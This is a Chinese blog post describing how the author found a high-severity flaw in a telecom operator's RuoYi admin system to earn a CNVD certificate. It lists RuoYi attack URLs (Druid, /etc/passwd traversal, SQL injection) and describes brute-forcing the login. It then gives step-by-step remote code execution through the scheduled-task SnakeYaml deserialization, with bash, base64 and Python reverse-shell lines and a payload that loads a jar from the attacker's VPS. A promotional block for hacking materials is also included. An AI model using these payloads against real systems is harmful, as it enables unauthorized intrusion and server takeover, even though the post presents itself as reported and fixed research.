首页 > 其他分享 >记录一次cnvd事件型证书漏洞挖掘

记录一次cnvd事件型证书漏洞挖掘

时间:2024-05-28 11:34:20浏览次数:28  
标签:java AwesomeScriptEngineFactory vps 证书 cnvd 若依 漏洞 http

事件起因是因为要搞毕设了,在为这个苦恼,突然负责毕设的老师说得到cnvd下发的证书结合你的漏洞挖掘的过程是可以当成毕设的,当时又学习了一段时间的web渗透方面的知识,于是踏上了废寝忘食的cnvd证书漏洞挖掘的日子。

前言:听群友们说,一般可以获得cnvd事件型的证书要三大运营商、铁塔的漏洞,而且必须要高危的漏洞才可以获得证书,低危和中危都没有证书,交上去只能得到cnvd的漏洞编号,于是就朝着三大运营商、铁塔的高危漏洞去挖掘。

一、信息收集

信息收集的目的是了解目标的基本情况,包括网络拓扑结构、系统架构、运行的服务和应用程序、已知漏洞、潜在安全风险等。通过信息收集,渗透测试人员可以获得对目标的深入了解,从而确定可能的攻击矢量和漏洞利用路径,为后续的渗透测试工作做准备。

1、我一般先用奇安信的鹰图平台,使用里面搜索引擎的特定的语法搜索我要找的单位名或者关键字,精准定位。

鹰图平台:https://hunter.qianxin.com/

经过一段时间的换各种关键字的搜索,终于发现了一个看着系统界面比较眼熟的界面,原谅我的厚码。。。

image-20240410182714563

看着大概率是若依框架。

image-20240410193209229

确定为vue前后端分离的若依管理系统。

image-20240410191843884

二、历史漏洞分析

确定了这个系统是基于SpringBoot,Spring Security,JWT,Vue & Element 的前后端分离权限管理系统。

这是我第一次挖掘关于若依vue框架的系统,以前遇到的都是基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro。

让我们先来看看若依的历史漏洞和解析:若依框架是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ,执行任意命令。

若依后台管理系统是基于SpringBoot、Spring Security、JWT、Vue & Element 的前后端分离权限管理系统,可用于包含网站管理后台、网站会员中心、CMS、CRM、OA等、的Web应用程序。若依后台管理系统存在未授权访问和文件上传高危漏洞,攻击者可利用该漏洞获取服务器控制权。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

比较常见的历史漏洞:

1、前端存储账号密码或默认弱口令admin/admin123

2、Druid页面未授权访问

http://xxx//prod-api/druid/index.html

http://xxx//dev-api/druid/index.html

http://xxx//api/druid/index.html

http://xxx//admin/druid/index.html

http://xxx//admin-api/druid/index.html

3、后台任意文件读取http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd

4、后台SQL注入漏洞位置在"系统管理"里中的"角色管理中"http://xxxxxxx/system/role/listhttp://xxxxxxx/system/dept/edithttp://xxxxxxx/system/role/exporthttp://xxxxxxx/tool/gen/createTable

5、shiro反序列化

若依管理系统使用了Apache Shiro,Shiro 提供了记住我(RememberMe)的功能,下次访问时无需再登录即可访问。系统将密钥硬编码在代码里,且在官方文档中并没有强调修改该密钥,导致框架使用者大多数都使用了默认密钥。

攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。

众所周知的,网上大把工具撸就完事了https://github.com/SummerSec/ShiroAttack2

6、SnakeYaml组件漏洞-定时任务-RCE

定时任务对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。

RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法

系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务

首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数

然后判断实例名是否是 带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName) 获得实例;如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例

最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用

public static void invokeMethod(SysJob sysJob) throws Exception  
    {  
        String invokeTarget \= sysJob.getInvokeTarget();  
        String beanName \= getBeanName(invokeTarget);      
        String methodName \= getMethodName(invokeTarget);  
        List<Object\[\]> methodParams \= getMethodParams(invokeTarget);  
​
        if (!isValidClassName(beanName))  
        {  
            Object bean \= SpringUtils.getBean(beanName);  
            invokeMethod(bean, methodName, methodParams);  
        }  
        else  
        {  
            Object bean \= Class.forName(beanName).newInstance();  
            invokeMethod(bean, methodName, methodParams);  
        }  
    }  

image-20240411021711415

跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。

image-20240410235532321

当我们传入的类名为完全包名称,需要满足三个条件才能正常使用

  • 具有无参构造方法

  • 调用的方法需要是类自身声明的方法,不能是他的父类方法

  • 构造方法和调用的方法均为 public

而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞。

三、正戏开始

要获得证书就得要挖掘到高危的漏洞,若依vue框架是没有shiro反序列化的,所以得进入后台去挖掘定时任务的RCE。

1、回到之前的找到若依的登录框,上来肯定是试一试默认的弱口令admin123。不出意外密码错误了

image-20240411004834079

2、测试了一下,没有密码输入错误次数上限,就是输入错多少次都可以,也没有验证码验证登录,不用多说了,爆破启动!!!

抱着试一试的态度,没想到真滴爆出来了

image-20240411005545552

image-20240411005313890

毕竟是第一次打若依vue框架的,我就把上面提到的漏洞都测试了一遍,没一个成功的(除了定时任务-RCE的漏洞没测试)。。。。。

3、我先去网上浏览一阵子的若依后台定时任务调用类的方法RCE的文章,开搞!!!

首先先去Github上面找到大佬写好的项目生成恶意jar包:https://github.com/artsploit/yaml-payload先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令

修改AwesomeScriptEngineFactory.java格式:

Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1"});

image-20240411010753502

在yaml-payload-master文件夹目录下编译AwesomeScriptEngineFactory.java文件

javac .\src\artsploit\AwesomeScriptEngineFactory.java

image-20240411013118170

得到编译好的AwesomeScriptEngineFactory.class文件

image-20240411013245721

把src目录打包成yaml-payload.jar文件

jar -cvf yaml-payload.jar -C .\src\ .

image-20240411013415458

image-20240411013519862

把打包好的yaml-payload.jar上传到vps上面,使用python命令开启临时的http网站:`python -m SimpleHTTPServer 8880

image-20240411015345527

测试访问vps开启的网站

image-20240411014255528

在vps上面使用nc监听设定的端口,反弹shell

image-20240411014341774

回到若依系统后台,使用爆破出来的账号密码登录,进入系统监控-->定时任务-->新增,添加计划任务。

image-20240411014611519

调用方法也没有什么限制,可以直接使用http。任务名随便写,调用方法:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]')

cron表达式:0/10 \* \* \* \* ?

点击确定

image-20240411014912158

在多执行几次刚刚设置好的定时任务

image-20240411015055662

在我满心欢喜的以为成功的时候,现实却给我当头一棒,nc监听一直没有动静,啊啊啊啊啊啊啊啊啊。。。。。又去多执行了几次也没有反弹到shell

image-20240411015148329

去看刚刚vps使用python开启的http,没有访问响应gg。

image-20240411015225815

想了想会不会是命令被系统拦截了或者是AwesomeScriptEngineFactory.java文件里面的命令错误执行不了。于是又去换了一种方式的反弹shell命令

重新修改AwesomeScriptEngineFactory.java格式:使用base64编码这个命令:bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1base64编码后的命令:YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==AwesomeScriptEngineFactory.java格式:Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==}|{base64,-d}|{bash,-i}");

image-20240411005906415

再按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。

返回到若依管理系统,再次执行几次定时任务,不用更改。。。让命令飘一会。

pleasantly surprised。。。。gg了。

image-20240411015743020

四、柳暗花明

我以为要下播的时候,去上了个厕所。。。。回来突然有灵感想到可不可以使用python命令来执行反弹shell命令呢,现在的服务器linux服务器基本都是自带python的,说干就干。

继续修改AwesomeScriptEngineFactory.java文件使用python的特性构造payload,修改的格式:Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\['/bin/bash','-i'\]);"});

如下图:

image-20240411015930186

继续执行之前的步骤,按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。

回到若依管理系统继续执行我们写入的定时任务。

结果芜湖!!!成功成功。

image-20240411020102737

咱也不知道为什么。没拦截python?

最后也是通过了cnvd的事件型高危

image-20240411022255587

漏洞已上报厂家,厂家已修复。

修复建议:升级Ruoyi至最新版本。

更多网安技能的在线实操练习,请点击这里>>

  

标签:java,AwesomeScriptEngineFactory,vps,证书,cnvd,若依,漏洞,http
From: https://www.cnblogs.com/hetianlab/p/18217557

相关文章

  • 推荐:实现泛域名快速部署SSL证书
    目录泛域名的概念:泛域名解析的好处:泛域名的应用:快速处理泛域名的SSL证书部署问题:泛域名证书申请方式:对于相当一部分拥有泛域名的用户而言泛域名的作用很大,一个主域名衍生出的大量子域名,方便、易记、集成管理、且省成本。泛域名的概念:泛域名指在一个根域名之下,所有......
  • 创建一个配置为信任所有HTTPS连接的RestTemplate实例,不验证服务器的SSL证书。这个示
    这个配置类使用背景:可参考博客:springboot使用restTemplate发送https请求忽略ssl证书https://jsonll.blog.csdn.net/article/details/129191580?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-1......
  • 文件包含FI漏洞总结
    文件包含漏洞模板文件包含读取?file=php://filter/convert.base64-encode/resource=xxx.php?file=php://filter/read=convert.base64-encode/resource=xxx.php文件包含?file=php://input?file=file://c:\boot.ini?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=?file......
  • .NET 某和OA办公系统全局绕过漏洞分析
    转自先知社区作者:dot.Net安全矩阵原文链接:.NET某和OA办公系统全局绕过漏洞分析-先知社区0x01前言某和OA协同办公管理系统C6软件共有20多个应用模块,160多个应用子模块,从功能型的协同办公平台上升到管理型协同管理平台,并不断的更新完善,全面支撑企业发展。从此OAC6版本外......
  • [分享]OffensiveCon24 UEFI 和翻译器的任务:使用跨架构 UEFI Quines 作为 UEFI 漏洞开
    链接:OffensiveCon24-uefi-task-of-the-translator目录x64assemblyx64程序集x64assemblysourcecodeforBGGP4entry:bggp4winningentry-x64assemblysourcecodeBGGP4UEFISelf-replicatingapp:bggp4winningentry-UEFIself-replicatingapp,compiledfromx64......
  • WindowsCA证书服务(三)证书的基础知识
    CA证书申请流程嫖个图吧。TLS/ssl发展 1、SSL3SSL3于1995年末发布,为了弥补先前协议版本的诸多弱点,SSL3从头开始设计了一套协议,并一直沿用到了最新版本的TLS。2、TLS1.0TLS1.0于1999年1月发布,3、TLS1.1TLS1.1于2006年4月发布。4、TLS1.2TLS1.2于2008年8月发布。5、T......
  • 详谈网安证书【CISP-PTE和CISP-PTS】方向
    PTE和PTS介绍CISP-PTE即注册信息安全专业人员渗透测试工程师认证,是由中国信息安全测评中心统一管理和规范的信息安全专业培训,是目前国内最为主流及被业界认可的专业攻防领域的资质培训。CISP-PTE目前是国内唯一针对网络安全渗透测试专业人才的资格认证,也是国家对信息安全人员......
  • Weblogic T3协议反序列化漏洞[CVE-2018-2628]
    漏洞复现环境搭建请参考http://t.csdnimg.cn/TYtKgkali切换jdk版本请参考Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客漏洞原理T3协议实现Weblogicserver和其他java程序间的数据传输,Weblogic开放7001端口则默认开启T3服务,通过构造恶意的T3协议数据,利用......
  • 使用OpenSSL生成证书和私钥文件
    使用OpenSSL生成证书和私钥文件,请按以下步骤操作:第1步:生成RSA私钥opensslgenrsa-outprivate_key.pem2048参数-out指定生成的私钥文件名,参数2048指定生成的RSA私钥以位为单位的长度,常见的取值:1024、2048、3072、4096,较长的密钥通常提供更高的安全性,但可能导致性能下降......
  • SRC | 记一次登录绕过漏洞挖掘
    在对某SRC资产收集过程中发现以下登录页面:抓包看看是否可以绕过登录限制。在登录处输入任意用户名密码,以及正确的验证码:通过抓包发现验证码和用户名密码是分包验证,所以我们将第一步的验证码验证请求包通过bp拦截响应包:将验证成功的响应包复制:{ "errorCode":"00000",......